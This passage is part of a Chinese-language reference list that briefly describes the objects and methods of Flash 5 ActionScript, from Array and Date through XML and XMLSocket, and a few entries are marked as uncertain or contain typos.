MC的y轴向缩放度+ Objects 对象+ Array 数组- concat 合并多个数组- join 将一个数组中的元素转化成字符串,并通过特定的分割符进行联结,并返回结果字符串- length 返回数组长度- new Array 新建数组对象- pop 出栈(FILO 先入后出)- push 入栈(入队列)- reverse 反相(颠倒数组,及第一个元素和最后一个元素互换……)- shift 出队列(FIFO 先入先出)- slice 截取数组中的子串生成新的数组- sort 数组元素的排序- splice 从数组中指定元素起删除指定个数的元素或者删除指定元素- unshift 从数组头部插入一个元素+ Boolean 布尔对象- new Boolean 新建布尔型对象- toString 将布尔型对象的值转换成字符串值- valueOf 获取布尔型对象的值(返回值为布尔型)+ Color 颜色对象- getRGB 获取颜色值的RGB分量(返回值0xRRGGBB十六进制)- getTransform 获取颜色值的转换量(返回值cxform 型) [不太清楚]- new Color 新建一颜色对象- setRGB 设置颜色值的RGB分量(参数为0xRRGGBB十六进制)- setTransform 设置颜色值的转换量(参数为cxform 型) [不太清楚]+ Date 时间和日期对象- getDate 获取当前日期(本月的几号)- getDay 获取今天是星期几(0-Sunday,1-Monday...)- getFullYear 获取当前年份(四位数字)- getHours 获取当前小时数(24小时制,0-23)- getMilliseconds 获取当前毫秒数- getMinutes 获取当前分钟数- getSeconds 获取当前秒数- getTime 获取UTC格式的从1970.1.1 0:00以来的秒数- getTimezoneOffset 获取当前时间和UTC格式的偏移值(以分钟为单位)- getUTCDate 获取UTC格式的当前日期(本月的几号)- getUTCDay 获取UTC格式的今天是星期几(0-Sunday,1-Monday...)- getUTCFullYear 获取UTC格式的当前年份(四位数字)- getUTCHours 获取UTC格式的当前小时数(24小时制,0-23) - getUTCMilliseconds 获取UTC格式的当前毫秒数- getUTCMinutes 获取UTC格式的当前分钟数- getUTCMonth 获取UTC格式的当前月份(注意从0开始:0-Jan,1-Feb...)- getUTCSeconds 获取UTC格式的当前秒数- getYear 获取当前缩写年份(当前年份减去1900)- new Date 新建日期时间对象- setDate 设置当前日期(本月的几号)- setFullYear 设置当前年份(四位数字)- setHours 设置当前小时数(24小时制,0-23)- setMilliseconds 设置当前毫秒数- setMinutes 设置当前分钟数- setSeconds 设置当前秒数- setTime 设置UTC格式的从1970.1.1 0:00以来的秒数- setUTCDate 设置UTC格式的当前日期(本月的几号)- setUTCFullYear 设置UTC格式的当前年份(四位数字)- setUTCHours 设置UTC格式的当前小时数(24小时制,0-23) - setUTCMilliseconds 设置UTC格式的当前毫秒数- setUTCMinutes 设置UTC格式的当前分钟数- setUTCMonth 设置UTC格式的当前月份(注意从0开始:0-Jan,1-Feb...)- setUTCSeconds 设置UTC格式的当前秒数- setYear 设置当前缩写年份(当前年份减去1900)- toString 将日期时间值转换成"日期/时间"形式的字符串值- UTC 返回指定的UTC格式日期时间的固定时间值+ Key 键盘对象- BACKSPACE Backspace(<-)键- CAPSLOCK CapsLock键- CONTROL Ctrl键- DELETEKEY Delete(Del)键- DOWN 方向下键- END End键- ENTER Enter(回车)键- ESCAPE Esc键- getAscii 获取最后一个按下或松开的键的对应字符的Ascii 码- getCode 获取最后一个被按下的键的键盘扫描码- HOME Home键- INSERT Insert(Ins)键- isDown 当指定键被按下时返回True值- isToggled 当Caps lock或者Num Lock键被锁定时返回真(True)- LEFT 方向左键- PGDN PageDown(PGDN)键- PGUP PageUp(PGUP)键- RIGHT 方向右键- SHIFT Shift键- SPACE 空格键- TAB Tab键- UP 方向上键+ Math 数学函数对象- abs abs(n) 取n的绝对值- acos acos(n) n的反余弦(返回值单位:弧度)- asin asin(n) n的反正弦(返回值单位:弧度)- atan atan(n) n的反正切(返回值单位:弧度)- atan2 atan2(x,y) 计算x/y的反正切- ceil ceil(n) 取靠近n的上限的整数(向上取整) - cos cos(n) 取n的余弦(n的单位:弧度)- E Euler(欧拉)指数(约为2.718)- exp 指数- floor floor(n) 取靠近n的下限的整数(向下取整) - LN10 ln10(约等于2.302)- LN2 ln2(约等于0.693)- log 取自然对数(e为底)- LOG10E 10为底取E的对数(约等于0.434)- LOG2E 2为底取E的对数(约等于1.443)- max 返回两参数中的最大值- min 返回两参数中的最小值- PI 圆周率(约等于3.14159)- pow pow(x,y) x的y次方- random 产生0-1间的随机数- round 四舍五入取整- sin sin(n) 取n的正弦(n的单位:弧度)- sqrt 开根号- SQRT1_2 0.5开根号(约等于0.707)- SQRT2 2开根号(约等于1.414)- tan tan(n) 取n的正切(n的单位:弧度)+ MovieClip 影片夹子对象- attachMovie 产生一个库中MC的实体并将它绑定到某个电影上- dupicateMovieClip 复制当前MC产生新的MC- getURL 使浏览器浏览指定页面- gotoAndPlay 跳转到指定帧并播放- gotoAndStop 跳转到指定帧并停止播放- loadMovie 引入一个外部电影到指定层- loadVariables 引入外部文件中的变量值- nextFrame 下一帧- play 播放- prevFrame 前一帧- removeMovieClip 删除用duplicateMovieClip创建的MC- startDrag 开始拖动MC- stop 停止MC的播放- stopDrag 停止拖动MC- unloadMovie 卸载由loadMovie引入的Movie+ Mouse 鼠标对象- hide 隐藏鼠标指针- show 显示鼠标指针+ Number 数值对象- MAX_value FLASH5 所允许的最大数值1.79769313486231e 308- MIN_value FLASH5 所允许的最小数值5 e -324- NaN 是否为非数值(Not a Number)- NEGATIVE_INFINITY 是否为负数- new Number 新建数值对象- POSITIVE_INFINITY 是否为正数- toString 将数值转换成字符串+ Object 对象- new Object 新建对象- toString 转换对象为字符串- valueOf 返回对象的值+ Selection 选择区对象- getBeginIndex 获取可编辑文本区的起始位置,-1表示无可编辑文本区- getCaretIndex 获取当前的编辑位置,-1表示没有可编辑文本区- getEndIndex 获取可编辑文本区的结束位置,-1表示无可编辑文本区- getFocus 获取当前的激活文本区的文本变量名- setFocus 设置当前的激活文本区- setSelection 设置可编辑文本的起始位置和终止位置+ Sound 声音对象- attachSound 绑定库中的一个声音- getPan 获取声音的混音值[不太清楚]- getTransform 获取当前声音的变换量(返回值类型:sxform) [不太清楚]- getV olume 获取当前声音的音量(百分比)- new Sound 新建声音对象- setPan 设置声音的混音值[不太清楚]- setTransform 设置当前声音的变换量(参数类型:sxform) [不太清楚]- setVloume 设置当前声音的音量(百分比)- start 开始播放当前声音- stop 停止播放当前声音+ String 字符串对象- charAt 在指定的索引表中返回一个字符- charCodeAt 在指定的索引表中返回一个字符的代码- concat 联结合并多个字符串- fromCharCode 从字符代码组构造出一个新的字符串- indexOf 在字符串中寻找子串,返回子串起始位置或-1(-1表示未找到)- lastIndexOf 在字符串中寻找子串,返回子串终止位置或-1(-1表示未找到)- length 返回字符串的长度- new String 新建字符串对象- slice 返回字符串中指定截取的子串- split 根据限定符将字符串转换成一个数组- substr substr( start, length ) 返回从start开始,共length长的子串- substring substring( indexA, indexB ) 返回indexA..indexB之间的子串- toLowerCase 将字符串中的大写字符全部转换成小写- toUpperCase 将字符串中的小写字符全部转换成大写+ XML 可扩充性标记语言对象- appendChild 添加一个子结点到指定的XML元素- attributes XML元素的属性数组- childNodes 一个XML元素的子结点数组- cloneNode 克隆(复制)当前结点- createElement 新建一个新的XML元素- createTextNode 新建一个新的XML文本结点- firstChild 返回当前XML结点的第一个子结点- hasChildNodes 当前XML结点是否有子结点(返回true有子结点/flash则无)- insertBefore 在一个指定的XML元素的子结点前插入一个新的子结点- lastChild 返回当前XML结点的最后一个子结点- load 从指定的URL把XML元素引入FLASH中- loaded 当XML元素引入或是发送同时引入FLASH中后,返回true值- new XML 新建一个XML对象- nextSibling 当前XML结点的下一个结点- nodeName 返回当前XML结点的名字- nodeType 返回当前XML结点的类型(1-元素,3-文本)- nodevalue 返回当前XML结点的值(text型返回文本)- onLoad 当引入或发送同时引入时触发事件- parentNode 返回当前XML结点的父结点- parseXML 将XML字符串转换成XML对象- previousSibling 当前XML结点的前一个结点- removeNode 从XML文本中删除结点- send 从FLASH中把一个XML元素发送到指定的URL地址- sendAndLoad 从FLASH中把一个XML元素发送到指定的URL地址同时引入XML结果- toString 把XML对象转换为XML字符串表达+ XMLSocket XML套接口- close 关闭一个XML套接口- connect 连接一个XML套接口,指定URL,并定义其端口号- new XMLSocket 建立一个新的XML套接口- onClose 关闭XML套接口时触发事件- onConnect 连接XML套接口时触发事件- onXML 从服务器上获取XML时触发事件- send 发送XML给服务器。